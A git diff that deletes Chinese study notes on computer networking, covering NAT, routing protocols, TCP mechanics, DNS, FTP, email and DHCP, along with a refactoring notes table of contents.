-由于 IP 地址的紧缺，一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中，机构内的计算机可以使用仅在本机构有效的 IP 地址（专用地址）。
-
-有三个专用地址块：
-
-- 10.0.0.0 \~ 10.255.255.255
-- 172.16.0.0 \~ 172.31.255.255
-- 192.168.0.0 \~ 192.168.255.255
-
-VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信；虚拟指“好像是”，而实际上并不是，它有经过公用的互联网。
-
-下图中，场所 A 和 B 的通信经过互联网，如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信，IP 数据报的源地址是 10.1.0.1，目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1，R1 对内部数据进行加密，然后重新加上数据报的首部，源地址是路由器 R1 的全球地址 125.1.2.3，目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密，恢复原来的数据报，此时目的地址为 10.2.0.3，就交付给 Y。
-
-<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
-
-## 网络地址转换 NAT
-
-专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时，可以使用 NAT 来将本地 IP 转换为全球 IP。
-
-在以前，NAT 将本地 IP 和全球 IP 一一对应，这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址，现在常用的 NAT 转换表把运输层的端口号也用上了，使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
-
-<div align="center"> <img src="../pics//2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
-
-## 路由器的结构
-
-路由器从功能上可以划分为：路由选择和分组转发。
-
-分组转发结构由三个部分组成：交换结构、一组输入端口和一组输出端口。
-
-<div align="center"> <img src="../pics//c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
-
-## 路由器分组转发流程
-
-- 从数据报的首部提取目的主机的 IP 地址 D，得到目的网络地址 N。
-- 若 N 就是与此路由器直接相连的某个网络地址，则进行直接交付；
-- 若路由表中有目的地址为 D 的特定主机路由，则把数据报传送给表中所指明的下一跳路由器；
-- 若路由表中有到达网络 N 的路由，则把数据报传送给路由表中所指明的下一跳路由器；
-- 若路由表中有一个默认路由，则把数据报传送给路由表中所指明的默认路由器；
-- 报告转发分组出错。
-
-<div align="center"> <img src="../pics//1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
-
-## 路由选择协议
-
-路由选择协议都是自适应的，能随着网络通信量和拓扑结构的变化而自适应地进行调整。
-
-互联网可以划分为许多较小的自治系统 AS，一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
-
-可以把路由选择协议划分为两大类：
-
-- 自治系统内部的路由选择：RIP 和 OSPF
-- 自治系统间的路由选择：BGP
-
-### 1. 内部网关协议 RIP
-
-RIP 是一种基于距离向量的路由选择协议。距离是指跳数，直接相连的路由器跳数为 1。跳数最多为 15，超过 15 表示不可达。
-
-RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表，经过若干次交换之后，所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
-
-距离向量算法：
-
-- 对地址为 X 的相邻路由器发来的 RIP 报文，先修改报文中的所有项目，把下一跳字段中的地址改为 X，并把所有的距离字段加 1；
-- 对修改后的 RIP 报文中的每一个项目，进行以下步骤：
- - 若原来的路由表中没有目的网络 N，则把该项目添加到路由表中；
- - 否则：若下一跳路由器地址是 X，则把收到的项目替换原来路由表中的项目；否则：若收到的项目中的距离 d 小于路由表中的距离，则进行更新（例如原始路由表项为 Net2, 5, P，新表项为 Net2, 4, X，则更新）；否则什么也不做。
-- 若 3 分钟还没有收到相邻路由器的更新路由表，则把该相邻路由器标为不可达，即把距离置为 16。
-
-RIP 协议实现简单，开销小。但是 RIP 能使用的最大距离为 15，限制了网络的规模。并且当网络出现故障时，要经过比较长的时间才能将此消息传送到所有路由器。
-
-### 2. 内部网关协议 OSPF
-
-开放最短路径优先 OSPF，是为了克服 RIP 的缺点而开发出来的。
-
-开放表示 OSPF 不受某一家厂商控制，而是公开发表的；最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
-
-OSPF 具有以下特点：
-
-- 向本自治系统中的所有路由器发送信息，这种方法是洪泛法。
-- 发送的信息就是与相邻路由器的链路状态，链路状态包括与哪些路由器相连以及链路的度量，度量用费用、距离、时延、带宽等来表示。
-- 只有当链路状态发生变化时，路由器才会发送信息。
-
-所有路由器都具有全网的拓扑结构图，并且是一致的。相比于 RIP，OSPF 的更新过程收敛的很快。
-
-### 3. 外部网关协议 BGP
-
-BGP（Border Gateway Protocol，边界网关协议）
-
-AS 之间的路由选择很困难，主要是由于：
-
-- 互联网规模很大；
-- 各个 AS 内部使用不同的路由选择协议，无法准确定义路径的度量；
-- AS 之间的路由选择必须考虑有关的策略，比如有些 AS 不愿意让其它 AS 经过。
-
-BGP 只能寻找一条比较好的路由，而不是最佳路由。
-
-每个 AS 都必须配置 BGP 发言人，通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
-
-<div align="center"> <img src="../pics//9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
-
-# 五、运输层*
-
-网络层只把分组发送到目的主机，但是真正通信的并不是主机而是主机中的进程。运输层提供了进程间的逻辑通信，运输层向高层用户屏蔽了下面网络层的核心细节，使应用程序看起来像是在两个运输层实体之间有一条端到端的逻辑通信信道。
-
-## UDP 和 TCP 的特点
-
-- 用户数据报协议 UDP（User Datagram Protocol）是无连接的，尽最大可能交付，没有拥塞控制，面向报文（对于应用程序传下来的报文不合并也不拆分，只是添加 UDP 首部），支持一对一、一对多、多对一和多对多的交互通信。
-
-- 传输控制协议 TCP（Transmission Control Protocol）是面向连接的，提供可靠交付，有流量控制，拥塞控制，提供全双工通信，面向字节流（把应用层传下来的报文看成字节流，把字节流组织成大小不等的数据块），每一条 TCP 连接只能是点对点的（一对一）。
-
-## UDP 首部格式
-
-<div align="center"> <img src="../pics//d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
-
-首部字段只有 8 个字节，包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
-
-## TCP 首部格式
-
-<div align="center"> <img src="../pics//55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
-
--  **序号**  ：用于对字节流进行编号，例如序号为 301，表示第一个字节的编号为 301，如果携带的数据长度为 100 字节，那么下一个报文段的序号应为 401。
-
--  **确认号**  ：期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段，序号为 501，携带的数据长度为 200 字节，因此 B 期望下一个报文段的序号为 701，B 发送给 A 的确认报文段中确认号就为 701。
-
--  **数据偏移**  ：指的是数据部分距离报文段起始处的偏移量，实际上指的是首部的长度。
-
--  **确认 ACK**  ：当 ACK=1 时确认号字段有效，否则无效。TCP 规定，在连接建立后所有传送的报文段都必须把 ACK 置 1。
-
--  **同步 SYN**  ：在连接建立时用来同步序号。当 SYN=1，ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接，则响应报文中 SYN=1，ACK=1。
-
--  **终止 FIN**  ：用来释放一个连接，当 FIN=1 时，表示此报文段的发送方的数据已发送完毕，并要求释放连接。
-
--  **窗口**  ：窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制，是因为接收方的数据缓存空间是有限的。
-
-## TCP 的三次握手
-
-<div align="center"> <img src="../pics//e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
-
-假设 A 为客户端，B 为服务器端。
-
-- 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
-
-- A 向 B 发送连接请求报文段，SYN=1，ACK=0，选择一个初始的序号 x。
-
-- B 收到连接请求报文段，如果同意建立连接，则向 A 发送连接确认报文段，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
-
-- A 收到 B 的连接确认报文段后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
-
-- B 收到 A 的确认后，连接建立。
-
-**三次握手的原因** 
-
-第三次握手是为了防止失效的连接请求到达服务器，让服务器错误打开连接。
-
-客户端发送的连接请求如果在网络中滞留，那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后，就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器，如果不进行三次握手，那么服务器就会打开两个连接。如果有第三次握手，客户端会忽略服务器之后发送的对滞留连接请求的连接确认，不进行第三次握手，因此就不会再次打开连接。
-
-## TCP 的四次挥手
-
-<div align="center"> <img src="../pics//f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
-
-以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
-
-- A 发送连接释放报文段，FIN=1。
-
-- B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
-
-- 当 B 不再需要连接时，发送连接释放请求报文段，FIN=1。
-
-- A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
-
-- B 收到 A 的确认后释放连接。
-
-**四次挥手的原因** 
-
-客户端发送了 FIN 连接释放报文之后，服务器收到了这个报文，就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据，传送完毕之后，服务器会发送 FIN 连接释放报文。
-
-**TIME_WAIT** 
-
-客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
-
-- 确保最后一个确认报文段能够到达。如果 B 没收到 A 发送来的确认报文段，那么就会重新发送连接释放请求报文段，A 等待一段时间就是为了处理这种情况的发生。
-
-- 等待一段时间是为了让本连接持续时间内所产生的所有报文段都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文段。
-
-## TCP 滑动窗口
-
-<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
-
-窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
-
-发送窗口内的字节都允许被发送，接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认，那么就将发送窗口向右滑动一定距离，直到左部第一个字节不是已发送并且已确认的状态；接收窗口的滑动类似，接收窗口左部字节已经发送确认并交付主机，就向右滑动接收窗口。
-
-接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
-
-## TCP 可靠传输
-
-TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文段在超时时间内没有收到确认，那么就重传这个报文段。
-
-一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT，加权平均往返时间 RTTs 计算如下：
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT"/></div> <br>
-
-超时时间 RTO 应该略大于 RTTs，TCP 使用的超时时间计算如下：
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d"/></div> <br>
-
-其中 RTT<sub>d</sub> 为偏差。
-
-## TCP 流量控制
-
-流量控制是为了控制发送方发送速率，保证接收方来得及接收。
-
-接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。
-
-## TCP 拥塞控制
-
-如果网络出现拥塞，分组将会丢失，此时发送方会继续重传，从而导致网络拥塞程度更高。因此当出现拥塞时，应当控制发送方的速率。这一点和流量控制很像，但是出发点不同。流量控制是为了让接收方能来得及接收，而拥塞控制是为了降低整个网络的拥塞程度。
-
-<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
-
-TCP 主要通过四种算法来进行拥塞控制：慢开始、拥塞避免、快重传、快恢复。
-
-发送方需要维护一个叫做拥塞窗口（cwnd）的状态变量，注意拥塞窗口与发送方窗口的区别：拥塞窗口只是一个状态变量，实际决定发送方能发送多少数据的是发送方窗口。
-
-为了便于讨论，做如下假设：
-
-- 接收方有足够大的接收缓存，因此不会发生流量控制；
-- 虽然 TCP 的窗口基于字节，但是这里设窗口的大小单位为报文段。
-
-<div align="center"> <img src="../pics//910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
-
-### 1. 慢开始与拥塞避免
-
-发送的最初执行慢开始，令 cwnd=1，发送方只能发送 1 个报文段；当收到确认后，将 cwnd 加倍，因此之后发送方能够发送的报文段数量为：2、4、8 ...
-
-注意到慢开始每个轮次都将 cwnd 加倍，这样会让 cwnd 增长速度非常快，从而使得发送方发送的速度增长速度过快，网络拥塞的可能也就更高。设置一个慢开始门限 ssthresh，当 cwnd >= ssthresh 时，进入拥塞避免，每个轮次只将 cwnd 加 1。
-
-如果出现了超时，则令 ssthresh = cwnd/2，然后重新执行慢开始。
-
-### 2. 快重传与快恢复
-
-在接收方，要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>，此时收到 M<sub>4</sub>，应当发送对 M<sub>2</sub> 的确认。
-
-在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
-
-在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd/2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
-
-<div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
-
-# 六、应用层
-
-## 域名系统
-
-DNS 是一个分布式数据库，提供了主机名和 IP 地址之间的转换。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
-
-域名具有层次结构，从上到下依次为：根域名、顶级域名、第二级域名。
-
-<div align="center"> <img src="../pics//b54eeb16-0b0e-484c-be62-306f57c40d77.jpg"/> </div><br>
-
-DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
-
-- 因为 UDP 最大只支持 512 字节的数据，如果返回的响应超过的 512 字节就改用 TCP 进行传输。
-- 区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据，区域传送需要使用 TCP 进行传输。
-
-## 文件传送协议
-
-FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
-
-- 控制连接：服务器以打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
-- 数据连接：用来传送一个文件。
-
-根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
-
-- 主动模式：服务器端主动建立数据连接，其中服务器端的端口号为 20，客户端的端口号随机，但是必须大于 1024，因为 0\~1023 是熟知端口号。
-
-<div align="center"> <img src="../pics//03f47940-3843-4b51-9e42-5dcaff44858b.jpg"/> </div><br>
-
-- 被动模式：客户端主动建立数据连接，其中客户端的端口号由客户端自己指定，服务器端的端口号随机。
-
-<div align="center"> <img src="../pics//be5c2c61-86d2-4dba-a289-b48ea23219de.jpg"/> </div><br>
-
-主动模式要求客户端开放端口号给服务器端，需要去配置客户端的防火墙。被动模式只需要服务器端开放端口号即可，无需客户端配置防火墙。但是被动模式会导致服务器端的安全性减弱，因为开放了过多的端口号。
-
-## 远程登录协议
-
-TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
-
-TELNET 可以适应许多计算机和操作系统的差异，例如不同操作系统系统的换行符定义。
-
-## 电子邮件协议
-
-一个电子邮件系统由三部分组成：用户代理、邮件服务器以及邮件协议。
-
-邮件协议包含发送协议和读取协议，发送协议常用 SMTP，读取协议常用 POP3 和 IMAP。
-
-<div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
-
-### 1. POP3
-
-POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
-
-### 2. IMAP
-
-IMAP 协议中客户端和服务器上的邮件保持同步，如果不去手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
-
-### 3. SMTP
-
-SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
-
-<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
-
-## 动态主机配置协议
-
-DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
-
-DHCP 工作过程如下：
-
-1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。
-2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
-3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
-4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
-
-<div align="center"> <img src="../pics//bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
-
-如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
-
-## 常用端口
-
-|应用| 应用层协议 | 端口号 | 运输层协议 | 备注 |
-| :---: | :--: | :--: | :--: | :--:
-| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
-| 动态主机配置协议 | DHCP | 67/68 | UDP | |
-| 简单网络管理协议 | SNMP | 161/162 | UDP | |
-| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21，数据连接 20
-| 远程终端协议 | TELNET | 23 | TCP | |
-| 超文本传送协议 | HTTP | 80 | TCP | |
-| 简单邮件传送协议 | SMTP | 25 | TCP | |
-| 邮件读取协议 | POP3 | 110 | TCP | |
-| 网际报文存取协议 | IMAP | 143 | TCP | |
-
-## Web 页面请求过程
-
-### 1. DHCP 配置主机信息
-
-- 假设主机最开始没有 IP 地址以及其它信息，那么就需要先使用 DHCP 来获取。
-
-- 主机生成一个 DHCP 请求报文，并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
-
-- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址（0.0.0.0）的 IP 数据报中。
-
-- 该数据报则被放置在 MAC 帧中，该帧具有目的地址 FF:FF:FF:FF:FF:FF，将广播到与交换机连接的所有设备。
-
-- 连接在交换机的 DHCP 服务器收到广播帧之后，不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文，之后生成 DHCP ACK 报文，该报文包含以下信息：IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中，UDP 报文段有被放入 IP 数据报中，最后放入 MAC 帧中。
-
-- 该帧的目的地址是请求主机的 MAC 地址，因为交换机具有自学习能力，之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项，因此现在交换机就可以直接知道应该向哪个接口发送该帧。
-
-- 主机收到该帧后，不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址，并在其 IP 转发表中安装默认网关。
-
-### 2. ARP 解析 MAC 地址
-
-- 主机通过浏览器生成一个 TCP 套接字，套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字，主机需要知道网站的域名对应的 IP 地址。
-
-- 主机生成一个 DNS 查询报文，该报文具有 53 号端口，因为 DNS 服务器的端口号是 53。
-
-- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
-
-- 该 IP 数据报被放入一个以太网帧中，该帧将发送到网关路由器。
-
-- DHCP 过程只知道网关路由器的 IP 地址，为了获取网关路由器的 MAC 地址，需要使用 ARP 协议。
-
-- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文，将该 ARP 查询报文放入一个具有广播目的地址（FF:FF:FF:FF:FF:FF）的以太网帧中，并向交换机发送该以太网帧，交换机将该帧转发给所有的连接设备，包括网关路由器。
-
-- 网关路由器接收到该帧后，不断向上分解得到 ARP 报文，发现其中的 IP 地址与其接口的 IP 地址匹配，因此就发送一个 ARP 回答报文，包含了它的 MAC 地址，发回给主机。
-
-### 3. DNS 解析域名
-
-- 知道了网关路由器的 MAC 地址之后，就可以继续 DNS 的解析过程了。
-
-- 网关路由器接收到包含 DNS 查询报文的以太网帧后，抽取出 IP 数据报，并根据转发表决定该 IP 数据报应该转发的路由器。
-
-- 因为路由器具有内部网关协议（RIP、OSPF）和外部网关协议（BGP）这两种路由选择协议，因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
-
-- 到达 DNS 服务器之后，DNS 服务器抽取出 DNS 查询报文，并在 DNS 数据库中查找待解析的域名。
-
-- 找到 DNS 记录之后，发送 DNS 回答报文，将该回答报文放入 UDP 报文段中，然后放入 IP 数据报中，通过路由器反向转发回网关路由器，并经过以太网交换机到达主机。
-
-### 4. HTTP 请求页面
-
-- 有了 HTTP 服务器的 IP 地址之后，主机就能够生成 TCP 套接字，该套接字将用于向 Web 服务器发送 HTTP GET 报文。
-
-- 在生成 TCP 套接字之前，必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段，并向 HTTP 服务器发送该报文段。
-
-- HTTP 服务器收到该报文段之后，生成 TCP SYN ACK 报文段，发回给主机。
-
-- 连接建立之后，浏览器生成 HTTP GET 报文，并交付给 HTTP 服务器。
-
-- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文，生成一个 HTTP 响应报文，将 Web 页面内容放入报文主体中，发回给主机。
-
-- 浏览器收到 HTTP 响应报文后，抽取出 Web 页面内容，之后进行渲染，显示 Web 页面。
-
-
-# 参考资料
-
-- 计算机网络, 谢希仁
-- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
-- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
-- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
-- [Active and Passive FTP Transfers Defined  -  KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
-- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
-- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
-- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
-- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
-- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
-- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
diff --git a/notes/重构.md b/notes/重构.md
index 9a3242ba..649f563a 100644
--- a/notes/重构.md
+++ b/notes/重构.md
@@ -1,1420 +1,4 @@
 <!-- GFM-TOC -->
-* [一、第一个案例](#一第一个案例)
-* [二、重构原则](#二重构原则)
-    * [定义](#定义)
-    * [为何重构](#为何重构)
-    * [三次法则](#三次法则)
-    * [间接层与重构](#间接层与重构)
-    * [修改接口](#修改接口)
-    * [何时不该重构](#何时不该重构)
-    * [重构与设计](#重构与设计)
-    * [重构与性能](#重构与性能)
-* [三、代码的坏味道](#三代码的坏味道)
-    * [1. 重复代码](#1-重复代码)
-    * [2. 过长函数](#2-过长函数)
-    * [3. 过大的类](#3-过大的类)
-    * [4. 过长的参数列表](#4-过长的参数列表)
-    * [5. 发散式变化](#5-发散式变化)
-    * [6. 散弹式修改](#6-散弹式修改)
-    * [7. 依恋情结](#7-依恋情结)
-    * [8. 数据泥团](#8-数据泥团)
-    * [9. 基本类型偏执](#9-基本类型偏执)
-    * [10. switch 惊悚现身](#10-switch-惊悚现身)
-    * [11. 平行继承体系](#11-平行继承体系)
-    * [12. 冗余类](#12-冗余类)
-    * [13. 夸夸其谈未来性](#13-夸夸其谈未来性)
-    * [14. 令人迷惑的暂时字段](#14-令人迷惑的暂时字段)
-    * [15. 过度耦合的消息链](#15-过度耦合的消息链)
-    * [16. 中间人](#16-中间人)
-    * [17. 狎昵关系](#17-狎昵关系)
-    * [18. 异曲同工的类](#18-异曲同工的类)
-    * [19. 不完美的类库](#19-不完美的类库)
-    * [20. 幼稚的数据类](#20-幼稚的数据类)
-    * [21. 被拒绝的馈赠](#21-被拒绝的馈赠)
-    * [22. 过多的注释](#22-过多的注释)
-* [四、构筑测试体系](#四构筑测试体系)
-* [五、重新组织函数](#五重新组织函数)
-    * [1. 提炼函数](#1-提炼函数)
-    * [2. 内联函数](#2-内联函数)
-    * [3. 内联临时变量](#3-内联临时变量)
-    * [4. 以查询取代临时变量](#4-以查询取代临时变量)
-    * [5. 引起解释变量](#5-引起解释变量)
-    * [6. 分解临时变量](#6-分解临时变量)
-    * [7. 移除对参数的赋值](#7-移除对参数的赋值)
-    * [8. 以函数对象取代函数](#8-以函数对象取代函数)
-    * [9. 替换算法](#9-替换算法)
-* [六、在对象之间搬移特性](#六在对象之间搬移特性)
-    * [1. 搬移函数](#1-搬移函数)
-    * [2. 搬移字段](#2-搬移字段)
-    * [3. 提炼类](#3-提炼类)
-    * [4. 将类内联化](#4-将类内联化)
-    * [5. 隐藏委托关系](#5-隐藏委托关系)
-    * [6. 移除中间人](#6-移除中间人)
-    * [7. 引入外加函数](#7-引入外加函数)
-    * [8. 引入本地扩展](#8-引入本地扩展)
-* [七、重新组织数据](#七重新组织数据)
-    * [1. 自封装字段](#1-自封装字段)
-    * [2. 以对象取代数据值](#2-以对象取代数据值)
-    * [3. 将值对象改成引用对象](#3-将值对象改成引用对象)
-    * [4. 将引用对象改为值对象](#4-将引用对象改为值对象)
-    * [5. 以对象取代数组](#5-以对象取代数组)
-    * [6. 赋值被监视数据](#6-赋值被监视数据)
-    * [7. 将单向关联改为双向关联](#7-将单向关联改为双向关联)
-    * [8. 将双向关联改为单向关联](#8-将双向关联改为单向关联)
-    * [9. 以字面常量取代魔法数](#9-以字面常量取代魔法数)
-    * [10. 封装字段](#10-封装字段)
-    * [11. 封装集合](#11-封装集合)
-    * [12. 以数据类取代记录](#12-以数据类取代记录)
-    * [13. 以类取代类型码](#13-以类取代类型码)
-    * [14. 以子类取代类型码](#14-以子类取代类型码)
-    * [15. 以 State/Strategy 取代类型码](#15-以-statestrategy-取代类型码)
-    * [16. 以字段取代子类](#16-以字段取代子类)
-* [八、简化条件表达式](#八简化条件表达式)
-    * [1. 分解条件表达式](#1-分解条件表达式)
-    * [2. 合并条件表达式](#2-合并条件表达式)
-    * [3. 合并重复的条件片段](#3-合并重复的条件片段)
-    * [4. 移除控制标记](#4-移除控制标记)
-    * [5. 以卫语句取代嵌套条件表达式](#5-以卫语句取代嵌套条件表达式)
-    * [6. 以多态取代条件表达式](#6-以多态取代条件表达式)
-    * [7. 引入 Null 对象](#7-引入-null-对象)
-    * [8. 引入断言](#8-引入断言)
-* [九、简化函数调用](#九简化函数调用)
-    * [1. 函数改名](#1-函数改名)
-    * [2. 添加参数](#2-添加参数)
-    * [3. 移除参数](#3-移除参数)
-    * [4. 将查询函数和修改函数分离](#4-将查询函数和修改函数分离)
-    * [5. 令函数携带参数](#5-令函数携带参数)
-    * [6. 以明确函数取代参数](#6-以明确函数取代参数)
-    * [7. 保持对象完整](#7-保持对象完整)
-    * [8. 以函数取代参数](#8-以函数取代参数)
-    * [9. 引入参数对象](#9-引入参数对象)
-    * [10. 移除设值函数](#10-移除设值函数)
-    * [11. 隐藏函数](#11-隐藏函数)
-    * [12. 以工厂函数取代构造函数](#12-以工厂函数取代构造函数)
-    * [13. 封装向下转型](#13-封装向下转型)
-    * [14. 以异常取代错误码](#14-以异常取代错误码)
-    * [15. 以测试取代异常](#15-以测试取代异常)
-* [十、处理概括关系](#十处理概括关系)
-    * [1. 字段上移](#1-字段上移)
-    * [2. 函数上移](#2-函数上移)
-    * [3. 构造函数本体上移](#3-构造函数本体上移)
-    * [4. 函数下移](#4-函数下移)
-    * [5. 字段下移](#5-字段下移)
-    * [6. 提炼子类](#6-提炼子类)
-    * [7. 提炼超类](#7-提炼超类)
-    * [8. 提炼接口](#8-提炼接口)
-    * [9. 折叠继承体系](#9-折叠继承体系)
-    * [10. 塑造模板函数](#10-塑造模板函数)
-    * [11. 以委托取代继承](#11-以委托取代继承)
-    * [12. 以继承取代委托](#12-以继承取代委托)
